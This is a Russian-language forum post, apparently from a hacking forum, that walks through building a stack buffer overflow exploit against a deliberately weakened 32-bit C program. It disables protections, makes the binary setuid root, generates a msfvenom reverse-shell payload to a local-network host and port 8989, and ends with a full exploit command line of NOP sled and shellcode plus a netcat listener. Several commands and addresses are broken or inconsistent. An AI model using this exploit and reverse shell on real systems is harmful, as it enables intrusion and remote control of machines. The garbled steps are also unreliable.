Создаём эксплоиты Buffer Overflow

Итак, сегодня создадим эксплоит на основе переполнения буфера.
Переполнение буфера - это явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера!

Работа со скриптом

Поработаем со скриптом, мы можем взять любую программу, лучше всего работать с программой на C, C++, C# ( если у вас exe, то советую прибегнуть к декомпиляции ), программа UBS v5.0 написана на Delphi v6, вот исходники:

Мы сдекомпилили программу!

Итак, я будк испрользовать другую программу на C.
Для начала сделаем перегон компиляции в GCC - https://gcc.gnu.org/releases.html, предварительно установим библиотеку sudo apt-get install gcc-multilib
gcc -g -Wall -Werror -O0 -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -mpreferred-stack-boundary=2 -o victim victim.c

Так же нам понадобится execstack, он будет блочить ELF и прочие защитные функции когда мы будем работать с программой.
Для начала заменим репозиторий в /etc/apt/sources.list на deb http://ftp.de.debian.org/debian stretch main
VT- https://www.virustotal.com/gui/file/bd1284945520449b7de0b6a2f7ba022cfe85dfb4e24981d69abc95d034ab93e0

Вот мы и добавили deb репозиторий

sudo nano /etc/apt/sources.list && apt update && apt install execstack

Если вы компилируете новый исполнимый файл, он уже будет иметь активированный DEP, но убедитесь, что компиляция проведена с использованием опции -fno-stack-protector, т.к. это не обходит stack canaries:

execstack -c ./victim && execstack -q ./victim - ./victim

Работа с Дебаггером

Для начала установим дополнение к дебаггеру GDB, это pwndbg, с его помощью нам будет поудобнее заниматься эксплоитингом, а так же установим библиотеку gdb-peda! Обновим для начала сам GDB:

wget https://ftp.gnu.org/gnu/gdb/gdb-11.1.tar.gz && tar gdb-11.1.tar.gz && cd gdb-11.1 && make CXXFLAGS="-static-libstdc++" && sudo make install && apt-get update


Мы успешно обновили дебаггер!

git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh && git clone https://github.com/longld/peda && cd peda && echo "source ~/peda/peda.py" >> ~/.gdbinit

Запустим GDB и увидим, что вместо панели gdb нас встречает pwndbg и gdb-peda, но не пугайтесь, команды остались теже. Запускаем файл:

chmod +x victim.c && gcc -g -o victim victim.c && gdb ./victim


Наш скрипт

Смотрим на полученный результат, а именно в раздел registers, там мы должны найти функцию rdi, для того, что бы её определить обратимся к disas main. Функция disas main позволяет показать дизасемблированный код функции main, которая является самой основной в программе:


Функция main нашей программы

Создадим паттерн ( мусорный код ), для этого в дебаггере прописываем pattern create 200 ( длинна больше буфера! ), а затем запускаем вместе с ним run


Вот наш паттерн



Итак, у нас автоматически поставился брикпоинт на оффсете 0x41514141, нужный нам адрес находится в EBP, может находится и в EIP и ESP, собственно нам нужно узнать смещение оффсета, пропишем pattern offset 0x6c414150, как видите сдвиг в 132, мы это используем для shell кода


Сдвиг мы нашли!

Для этого командой break я поставлю точку останова на инструкцию ret (адрес 0x0804844d — см. листинг ассемблера).

break *0x8049060


Вот наш брикпоинт

После чего выполню программу, передав в качестве аргумента строку из 132 символов A (мусор, чтобы добраться до адреса возврата), конкатенированную со зловещим значением 0xd34dc0d3 ( \xd3\x4d\xc0\xd3 ).
Разворачиваю строку, содержащую адрес, с помощью питоновском механизма работы со срезами [::-1].

run `python -c 'print "A"*132 + "\xd3\x4d\xc0\xd3"[::-1]'`


Врт, что выдал дебаггер

В начале стекового фрейма $esp-132, и в уме разметить его пространство, чтобы лучше понимать, как шелл-код «ляжет» на стек.
Через слеш я укажу формат, в котором хочу получить результат: 200wx для запроса в виде x/200wx $esp-132


Вот, что нам выдало

Продолжив выполнение командой continue, мы триггерим выполнение инструкции ret, программа ожидаемо крашится с ошибкой сегментации, и адрес возврата, словно по волшебству, превращается в ожидаемый 0xd34dc0d3:



Теперь можно приступать к боевым действиям. Грубый эксплоит для выполнения из интерактивной оболочки GDB выглядит так, посмотрим на адрес EIP, тот самые где переполнен stack, вот он - 0xffffd3cc ( это середина среза NOP )


Вот наш нужный адрес

Сменим владельца файла на root, что бы дебаггер мог с лёгкостью работать

sudo chown root victim && sudo chgrp root victim && sudo chmod +s victim

Немного математики. Давай те посчитаем мусорный код в байтах. Для этого мы сделаем действия: EBP + buf - NOP*2 - Shell ( в цифрах 128 + 4 - 32*2 -33 = 35 )


Вес шелл кода = 33 бит

Но это имеющийся shell. Для генерации своего shell кода обратимся к msfvenom, для этого пропишем:

msfvenom -p linux/x86/shell_reverse_tcp -e x86/shikata_ga_nai -a x86 --platform linux LHOST=192.168.227.128 LPORT=8989 -f c


Вот наш shell

Как мы видим, размер 95 бит.
Пропишем run для вывода shell код в программу, результат у вас на глазах, так как это reverse_shell, на порту стоит слушатель, поэтому запустим NetCat nc -lvnp 8989

run python -c 'print "A"*132 + "\xbf\xff\xed\xcc"[::-1] + "\x90"*32 + "\xbe\x5f\x8b\x5e\xc6\xd9\xeb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\x2d\x85\xbc\x33\xe0\x42\xb7\x5f\x51\x36\x6b\xca\x57\x31\x6a\xba\x31\x8c\xed\x28\xe4\xbe\xd1\x83\x96\xf6\x54\xe5\xfe\xc8\x0f\xf6\x7e\xa0\x4d\xf9\x5d\x2c\xdb\x18\x11\x28\x8b\x8b\x02\x06\x28\xa5\x45\xa5\xaf\xe7\xed\x58\x9f\x74\x85\xcc\xf0\x55\x37\x64\x86\x49\xe5\x25\x11\x6c\xb9\xc1\xec\xef" + "\x90"*32 + "A"'


Вот и эксплоит и листенер

Ограничение ответов в теме:

Автор темы разрешил отвечать в теме только этим группам (и вышестоящим): Местный, Команда форума и Кураторы.